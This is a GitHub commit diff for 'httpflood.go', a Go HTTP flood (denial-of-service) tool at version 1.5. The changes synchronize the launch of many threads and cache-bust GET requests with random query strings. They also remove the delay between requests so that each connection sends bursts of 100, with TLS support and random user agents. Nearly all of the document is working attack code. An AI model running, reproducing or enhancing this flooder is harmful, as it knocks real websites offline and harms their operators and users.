Skip to content

Commit 6beb64b

Browse files
authored
v1.5
1 parent 682a343 commit 6beb64b

File tree

1 file changed

+44
-20
lines changed

1 file changed

+44
-20
lines changed

httpflood.go

Lines changed: 44 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -109,6 +109,7 @@ var (
109109
rand.NewSource(time.Now().UnixNano()),
110110
),
111111
)
112+
start = make(chan bool)
112113
)
113114

114115
type Randomizer interface {
@@ -142,17 +143,15 @@ func flood() {
142143
addr := os.Args[1]
143144
addr += ":"
144145
addr += os.Args[2]
145-
request := ""
146+
header := ""
146147
if os.Args[5] == "get" {
147-
var rand_url = strconv.Itoa(rand.Intn(1000000))
148-
request += "GET " + os.Args[4] + "?" + rand_url
149-
request += " HTTP/1.1\r\nHost: "
150-
request += addr + "\r\n"
148+
header += " HTTP/1.1\r\nHost: "
149+
header += addr + "\r\n"
151150
if os.Args[7] == "nil" {
152151
var useragent = GetRandom() //random useragent
153-
request += "Connection: Keep-Alive\r\n"
154-
request += "User-Agent: " + useragent + "\r\n"
155-
request += "Accept: */*\r\n"
152+
header += "Connection: Keep-Alive\r\nCache-Control: max-age=0\r\n"
153+
header += "User-Agent: " + useragent + "\r\n"
154+
header += "Accept: text/plain\r\n"
156155
} else {
157156
fi, err := os.Open(os.Args[7])
158157
if err != nil {
@@ -166,11 +165,10 @@ func flood() {
166165
if c == io.EOF {
167166
break
168167
}
169-
request += string(a) + "\r\n"
168+
header += string(a) + "\r\n"
170169
}
171170
}
172-
request += "\r\n"
173-
} else {
171+
} else if os.Args[5] == "post" {
174172
data := ""
175173
if os.Args[7] != "nil" {
176174
fi, err := os.Open(os.Args[7])
@@ -193,13 +191,21 @@ func flood() {
193191
data += string(abcd[rand.Intn(len(abcd))])
194192
}
195193
}
196-
request := "POST " + os.Args[4] + " HTTP/1.1\r\nHost: " + addr + "\r\n"
197-
request += "Connection: Keep-Alive\r\nContent-Type: x-www-form-urlencoded\r\nContent-Length: " + strconv.Itoa(len(data)) + "\r\n"
198-
request += "Accept-Encoding: gzip, deflate\r\n\r\n" + data
194+
header := "POST " + os.Args[4] + " HTTP/1.1\r\nHost: " + addr + "\r\n"
195+
header += "Connection: Keep-Alive\r\nContent-Type: x-www-form-urlencoded\r\nContent-Length: " + strconv.Itoa(len(data)) + "\r\n"
196+
header += "Accept-Encoding: gzip, deflate\r\n\n" + data
199197
}
200198
var s net.Conn
201199
var err error
202-
for {
200+
rand.Seed(time.Now().UnixNano())
201+
<-start
202+
for { /*
203+
request := ""
204+
if os.Args[5] == "get" {
205+
var rand_url = strconv.Itoa(rand.Intn(1000000000))
206+
request += "GET " + os.Args[4] + "?" + rand_url
207+
}
208+
request += header + "\r\n\r\n"*/
203209
if os.Args[2] == "443" {
204210
s, err = tls.Dial("tcp", addr, nil)
205211
} else {
@@ -209,11 +215,18 @@ func flood() {
209215
fmt.Println("Connection Down!!!")
210216
} else {
211217
defer s.Close()
212-
for i := 1; i <= 70; i++ {
218+
for i := 0; i <= 100; i++ {
219+
request := ""
220+
if os.Args[5] == "get" {
221+
var rand_url = strconv.Itoa(rand.Intn(1000000000000000000))
222+
request += "GET " + os.Args[4] + "?" + rand_url
223+
}
224+
request += header + "\r\n\r\n"
213225
s.Write([]byte(request))
214-
time.Sleep(time.Millisecond * 100)
226+
//time.Sleep(time.Millisecond * 200)
215227
}
216228
}
229+
//time.Sleep(time.Second * 1)
217230
//fmt.Println("Threads@", threads, " Hitting Target -->", url)
218231
}
219232
}
@@ -225,7 +238,7 @@ func main() {
225238
fmt.Println(" || || || || || || || || || || || || || || ")
226239
fmt.Println(".|| ||. `|..' `|..' ||..|' .||. .||. `|..|' `|..|' `|..||. ")
227240
fmt.Println(" || ")
228-
fmt.Println(" .|| Golang version 1.2 ")
241+
fmt.Println(" .|| Golang version 1.5 ")
229242
fmt.Println(" C0d3d By L330n123")
230243
fmt.Println("==========================================================================")
231244
if len(os.Args) != 8 {
@@ -235,11 +248,22 @@ func main() {
235248
}
236249
var threads, _ = strconv.Atoi(os.Args[3])
237250
var limit, _ = strconv.Atoi(os.Args[6])
238-
fmt.Println("Flood will end in " + os.Args[6] + " seconds.")
239-
for i := 0; i < threads; i++ {
251+
input := bufio.NewReader(os.Stdin)
252+
for i := 1; i <= threads; i++ {
253+
time.Sleep(time.Millisecond * 10)
240254
go flood() // Start threads
255+
fmt.Printf("\rThreads [%.0f] are ready", float64(i))
256+
os.Stdout.Sync()
241257
//time.Sleep( time.Millisecond * 1)
242258
}
259+
fmt.Printf("\nPlease [Enter] for continue")
260+
_, err := input.ReadString('\n')
261+
if err != nil {
262+
fmt.Println(err)
263+
os.Exit(1)
264+
}
265+
fmt.Println("Flood will end in " + os.Args[6] + " seconds.")
266+
close(start)
243267
time.Sleep(time.Duration(limit) * time.Second)
244268
//Keep the threads continue
245269
}

0 commit comments

Comments
 (0)